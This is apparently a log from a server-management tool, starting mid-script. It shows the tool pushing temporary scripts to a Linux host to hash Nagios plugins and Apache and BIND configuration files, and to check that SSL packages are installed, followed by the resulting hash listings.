def generate_hash(filename, type = 'MD5'):
digest = hashlib.md5(open(filename, 'rb').read()).hexdigest()
payload = type + '(' + filename + ')= ' + digest + "\n"
gz.write(payload.encode('cp437'))
def scan_folder(folder):
if os.path.isdir(folder):
filelist = glob.glob(folder + '/check*')
for filename in filelist:
generate_hash(filename, 'bin')
return
try:
try:
filelist = collectCfgFiles('/usr/local/nagios/etc/nagios.cfg')
for file in filelist:
generate_hash(file)
except:
pass
scan_folder('/usr/local/nagios/libexec')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-12-31 12:37:37:
chmod 755 /tmp/pkp197415; /tmp/pkp197415; rm /tmp/pkp197415
2025-12-31 12:37:38:
(gzipped output)
bin(/usr/local/nagios/libexec/check_ups)= 7fc188439261052a0089a7103b4ca5f0
bin(/usr/local/nagios/libexec/check_nwstat)= cad9eb4c84fade3e778388d1c397ca44
bin(/usr/local/nagios/libexec/check_smtp)= 58f20f1be6fe79ceb18495cdc8af30df
bin(/usr/local/nagios/libexec/check_mrtgtraf)= 60fd670663059fda22ad3c69f060d28e
bin(/usr/local/nagios/libexec/check_apt)= 7d7bd3a78eeb8cb1cbff98658f6a2604
bin(/usr/local/nagios/libexec/check_swap)= f7b40653d50c41423fb55e1ef78fbd03
bin(/usr/local/nagios/libexec/check_real)= 10c4f762260b9188703147d7e2bf808e
bin(/usr/local/nagios/libexec/check_users)= acf263ca6679b08d634fce866a719390
bin(/usr/local/nagios/libexec/check_rpc)= 877c0b3732333358999e1ab17aed7a84
bin(/usr/local/nagios/libexec/check_ntp)= 3f27060ad856c95ba539b4a5e0ca9458
bin(/usr/local/nagios/libexec/check_disk)= dfb1f1e3c3262efcdd11d7bb366e9329
bin(/usr/local/nagios/libexec/check_dig)= 72f7fedb00b83dca84ddbedc6b1a9e65
bin(/usr/local/nagios/libexec/check_ide_smart)= e4282cdf643f611222dea7ed06ba7b1f
bin(/usr/local/nagios/libexec/check_breeze)= 17f1ae418f73ae66c13aedb92b0d7106
bin(/usr/local/nagios/libexec/check_debian_packages)= c962dac5b49c230319a8f132131c5818
bin(/usr/local/nagios/libexec/check_tcp)= 7a8fdbd3475c45acad68765d9e1a5e7b
bin(/usr/local/nagios/libexec/check_printer.php)= e1b42354c26a7ee89ba22b3af8af1578
bin(/usr/local/nagios/libexec/check_ntp_peer)= 1012bb69dbe28a20c47f83cb8502829c
bin(/usr/local/nagios/libexec/check_php.php)= ea35782ed63579f5f868c61f2e762602
bin(/usr/local/nagios/libexec/check_autoupdate.php)= 67b27ce05c96a1d7aeac8c220cd103d5
bin(/usr/local/nagios/libexec/check_sensors)= 93f23897502fce95ac37b42b63f8a121
bin(/usr/local/nagios/libexec/check_ntp_time)= 93818330bf26c2823c1985254019368d
bin(/usr/local/nagios/libexec/check_disk_smb)= 20df89ee7110f042d6119b51b6b47fcc
bin(/usr/local/nagios/libexec/check_file_age)= f9c9e8f272624bac2336c0dc261aa4f1
bin(/usr/local/nagios/libexec/check_overcr)= 31e5b6e8d961a2c25c2cdd4febef9a3d
bin(/usr/local/nagios/libexec/check_by_ssh)= 55b5fda59ebdd27200d63a13133113c2
bin(/usr/local/nagios/libexec/check_nntp)= 7a8fdbd3475c45acad68765d9e1a5e7b
bin(/usr/local/nagios/libexec/check_mailq)= 28bc32f5bed1017ecdb469e69ecb59ac
bin(/usr/local/nagios/libexec/check_ping)= f33d99f6a394c5341f7bb6390e2f44c2
bin(/usr/local/nagios/libexec/check_flexlm)= cef725bcbe5623da973584232b0fb1ea
bin(/usr/local/nagios/libexec/check_time)= 75ff7b75649deaa34ba5a8115e7bc1ea
bin(/usr/local/nagios/libexec/check_mrtg)= 40c6d0f71161c67f491aa11f57715867
bin(/usr/local/nagios/libexec/check_uptime)= 0a77a9f937bfb2ab6607abdd74e62f41
bin(/usr/local/nagios/libexec/check_file_exists)= 499adf459b71d925c1b3a6dbb5955cf9
bin(/usr/local/nagios/libexec/check_ftp)= 7a8fdbd3475c45acad68765d9e1a5e7b
bin(/usr/local/nagios/libexec/check_ssl_validity)= eeaee8f9f357138a49640d4f416530ce
bin(/usr/local/nagios/libexec/check_nagios)= cd16ecade3f59c4bedac7c3038b411b9
bin(/usr/local/nagios/libexec/check_udp)= 7a8fdbd3475c45acad68765d9e1a5e7b
bin(/usr/local/nagios/libexec/check_ifoperstatus)= a7f0a5a6623cb153cd11cc419088c74b
bin(/usr/local/nagios/libexec/check_log)= 9292b8656dd3ebc9f9cb3f0acdf45cf7
bin(/usr/local/nagios/libexec/check_imap)= 7a8fdbd3475c45acad68765d9e1a5e7b
bin(/usr/local/nagios/libexec/check_ifstatus)= 13135b7e17d4daf1fa87d7cf2c4e4f22
bin(/usr/local/nagios/libexec/check_icmp)= b0d58b5701f7b86f7738a43f175ede4a
bin(/usr/local/nagios/libexec/check_oracle)= 9c5171e12f0b1fe84b51eff80842fb66
bin(/usr/local/nagios/libexec/check_ssh)= 0dd020c1f83941e7b62063c2a1d2954d
bin(/usr/local/nagios/libexec/check_wave)= 98dd0b7a7884c98ec62701568047e010
bin(/usr/local/nagios/libexec/check_pop)= 7a8fdbd3475c45acad68765d9e1a5e7b
bin(/usr/local/nagios/libexec/check_cluster)= 08aeb28f2a6b3dceddda1dd90918388a
bin(/usr/local/nagios/libexec/check_load)= 7953042df164e8e47234a955376f77f4
bin(/usr/local/nagios/libexec/check_procs)= 0891055bb921943995cbbd8e9b7218bb
bin(/usr/local/nagios/libexec/check_nt)= 31d152e80f15be7ec2cd7f38fcd17d7a
bin(/usr/local/nagios/libexec/check_ssl_cert.php)= a5e2b217dabfd686330a66f41b0d4d90
bin(/usr/local/nagios/libexec/check_dhcp)= 66b6794ccc1f2702910eb2cf4503ada0
bin(/usr/local/nagios/libexec/check_ircd)= e006b8d46149f00c2e371ebd3176d283
bin(/usr/local/nagios/libexec/check_dns)= 2d442b7cf8b203520555e93b77b009e5
bin(/usr/local/nagios/libexec/check_clamd)= 7a8fdbd3475c45acad68765d9e1a5e7b
bin(/usr/local/nagios/libexec/check_dummy)= 99113a54b487e0c637b003dec276d294
bin(/usr/local/nagios/libexec/check_sensors.php)= 172c8cb7ebe7199e4f589ed2f4d4d46d
bin(/usr/local/nagios/libexec/check_http)= a3764b736da28a6c9d17d07b65887e57
2025-12-31 12:37:38:
PUT: /tmp/pkp947071
#!/bin/bash
install=
if [ -f "/usr/bin/yum" ]; then
if [ ! -f "/usr/bin/openssl" ]; then
install="$install openssl"
fi
rpm -qi mod_ssl > /dev/null 2>&1
retVal=$?
if [ $retVal -ne 0 ]; then
install="$install mod_ssl"
fi
if [ ! -z $install ]; then
yum -y install $install
systemctl restart apache2
echo status=restarted
else
echo status=ok
fi
elif [ -f "/usr/bin/apt-get" ]; then
if [ ! -f "/usr/bin/openssl" ]; then
apt-get update
apt-get -y install openssl
fi
if [ ! -f "/etc/apache2/mods-enabled/ssl.conf" ] ; then
a2enmod -q ssl
systemctl restart apache2
fi
echo status=ok
fi
2025-12-31 12:37:38:
chmod 755 /tmp/pkp947071; /tmp/pkp947071; rm /tmp/pkp947071
2025-12-31 12:37:38:
status=ok
2025-12-31 12:37:38:
PUT: /tmp/pkp477457
#!/usr/bin/python3
import os, sys, glob, hashlib, re, gzip, tempfile, codecs
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def generate_hash_certificate(content, folder):
file = content.split("\n")
for v in file:
v = v.strip()
if v != '' and v[0] != '#':
match = re.search('sslcertificatefile\s+(.*?)$', v, flags=re.IGNORECASE)
if match is not None:
filename = match.group(1)
filename = normalize_path(folder, filename, True)
generate_hash(filename, folder)
def normalize_path(basepath, relativepath, isFile):
if relativepath[:1] == '/':
return relativepath
if isFile:
basename = os.path.basename(relativepath)
relativepath = os.path.dirname(relativepath)
else:
basename = ''
basepath = basepath.split('/')
relativepath = relativepath.split('/')
for element in relativepath:
if element == '..':
basepath.pop()
elif element != '.' and element != '':
basepath.append(element)
basepath = '/'.join(basepath)
if basename != '':
basepath += '/' + basename
return basepath
def generate_hash(filename, folder):
if os.path.islink(filename):
target = os.readlink(filename)
target = normalize_path(folder, target, True)
payload = 'link(' + filename + ')= ' + target + "\n"
gz.write(payload.encode('cp437'))
return
content = open(filename).read()
filehash = hashlib.md5()
filehash.update(content.encode('cp437'))
payload = 'MD5(' + filename + ')= ' + filehash.hexdigest() + "\n"
gz.write(payload.encode('cp437'))
lower_content = content.lower()
if lower_content.find('sslcertificatefile') > -1:
generate_hash_certificate(content, folder)
return
def scan_folder(folder):
if os.path.isdir(folder):
filelist = glob.glob(folder + '/*.conf')
for filename in filelist:
generate_hash(filename, folder)
return
try:
APACHE_ROOT = '/etc/apache2'
scan_folder(APACHE_ROOT)
scan_folder(APACHE_ROOT + '/conf.d')
scan_folder(APACHE_ROOT + '/conf.modules.d')
scan_folder(APACHE_ROOT + '/sites-available')
scan_folder(APACHE_ROOT + '/sites-enabled')
scan_folder(APACHE_ROOT + '/hosts.d')
finally:
gz.close()
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-12-31 12:37:39:
chmod 755 /tmp/pkp477457; /tmp/pkp477457; rm /tmp/pkp477457
2025-12-31 12:37:39:
(gzipped output)
MD5(/etc/apache2/ports.conf)= e0eadfd8b9250d90d5c3004171eb78f6
MD5(/etc/apache2/apache2.conf)= 354c9e6d2b88a0a3e0548f853840674c
MD5(/etc/apache2/sites-available/000-default.conf)= 45ed6a20d7ff26b62d873585bc1b42ca
MD5(/etc/apache2/sites-available/cityelectric_www_online.conf)= 98a5766b5fedd44b564deeae2b7f4597
MD5(/etc/ssl/certs/58e746b88fcdd674270ef29574194035.crt)= 022cdad52e685522d13d48e47c3c5686
MD5(/etc/apache2/sites-available/pjy_home_us.conf)= b92aff1e8d83db409d859ecc91bbe2ea
MD5(/etc/ssl/certs/1ab41bf0e070e7b006d494c7605f9dcb)= e3abec79d5f117cc6ac30c88636dbdb6
MD5(/etc/apache2/sites-available/theyoungdesigners_stage.conf)= 1516a9c3e0f6707ee8508f17374a4965
MD5(/etc/ssl/certs/71986a4933a5df06d6ba64d41a00e6e1.crt)= 16e37f95816efad64fa47f57af88785c
MD5(/etc/apache2/sites-available/hopeinstoughton_cdn4_org.conf)= 40743bf141b7da55b55cc9e1aa210026
MD5(/etc/ssl/certs/33c1aca709cdbd6de954e7f75b205eb8.crt)= 0d7ac0488abb570c4dee9f344699ee85
MD5(/etc/apache2/sites-available/default-ssl.conf)= 58d23841f0ea37f6c3c1f1c7bda9c6d7
MD5(/etc/ssl/certs/ssl-cert-snakeoil.pem)= ca34edd674c003e68e65b9ddf3a5583b
MD5(/etc/apache2/sites-available/pjy_alive_us.conf)= 11f7b6884662bd4fc09883fceeb3679c
MD5(/etc/ssl/certs/1ab41bf0e070e7b006d494c7605f9dcb)= e3abec79d5f117cc6ac30c88636dbdb6
link(/etc/apache2/sites-enabled/000-default.conf)= /etc/apache2/sites-available/000-default.conf
link(/etc/apache2/sites-enabled/pjy_home_us.conf)= /etc/apache2/sites-available/pjy_home_us.conf
link(/etc/apache2/sites-enabled/theyoungdesigners_stage.conf)= /etc/apache2/sites-available/theyoungdesigners_stage.conf
link(/etc/apache2/sites-enabled/hopeinstoughton_cdn4_org.conf)= /etc/apache2/sites-available/hopeinstoughton_cdn4_org.conf
link(/etc/apache2/sites-enabled/pjy_alive_us.conf)= /etc/apache2/sites-available/pjy_alive_us.conf
STDERR:
/tmp/pkp477457:12: SyntaxWarning: invalid escape sequence '\s'
match = re.search('sslcertificatefile\s+(.*?)$', v, flags=re.IGNORECASE)
2025-12-31 18:52:00: Establishing a connection
2025-12-31 18:52:08: Establishing a connection
2025-12-31 18:52:08:
PUT: /tmp/pkp296751
#!/usr/bin/php
<?php
// What files are being used by Bind, and what are their contents?
// php's token_get_all() makes this fairly quick
$directory = '/etc/bind';
ob_start('ob_gzhandler');
parseFile('named.conf');
ob_end_flush();
function parseFile($filename, $parse = TRUE) {
global $directory;
if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
$hash = md5_file($filename);
echo "MD5({$filename})= {$hash}\n";
if ($parse) {
$content = "<?php\n" . file_get_contents($filename);
$tokens = token_get_all($content);
$i = 0;
parseGroup($tokens, $i);
}
}
function unQuote($value) {
$ch = $value[0];
if ($ch == '"' || $ch == "'") {
if (substr($value, -1) == $ch) {
$value = substr($value, 1, -1);
}
}
return $value;
}
function addEntry(&$current) {
global $directory;
if (count($current)) {
switch($current[0]) {
case 'include':
$filename = unQuote($current[1]);
parseFile($filename);
break;
case 'directory':
$directory = unQuote($current[1]);
break;
case 'file':
$filename = unQuote($current[1]);
parseFile($filename, FALSE); // Resource File - do not parse
break;
}
}
$current = [];
}
function ParseGroup($tokens, &$i) {
$current = [];
$c = count($tokens);
while ($i < $c) {
$token = $tokens[$i];
if (is_array($token)) {
$token_name = $token[0];
$token_data = $token[1]; // [2] = line number
} else {
$token_name = -1;
$token_data = $token;
}
switch ($token_name) {
case -1:
if ($token_data == ';') { // end of statement
$i++;
addEntry($current);
} elseif ($token_data == '{') { // group
$i++;
ParseGroup($tokens, $i);
} elseif ($token_data == '}') { // end of group
addEntry($current);
return;
}
case T_OPEN_TAG:
case T_WHITESPACE:
case T_COMMENT:
break;
case T_DNUMBER: // 127.0 / .0 / .1
case T_LNUMBER:
case T_CONSTANT_ENCAPSED_STRING:
case T_STRING:
case T_INCLUDE:
$current[] = $token_data;
break;
}
$i++;
}
addEntry($current);
}
2025-12-31 18:52:09:
runuser -l bind -s /bin/bash -c '/tmp/pkp296751; rm /tmp/pkp296751'
2025-12-31 18:52:09:
MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= da5950cd780a6130ceaaf046681acc0d
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 3a99231277d1ec09b0a37cd18d994fb6
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
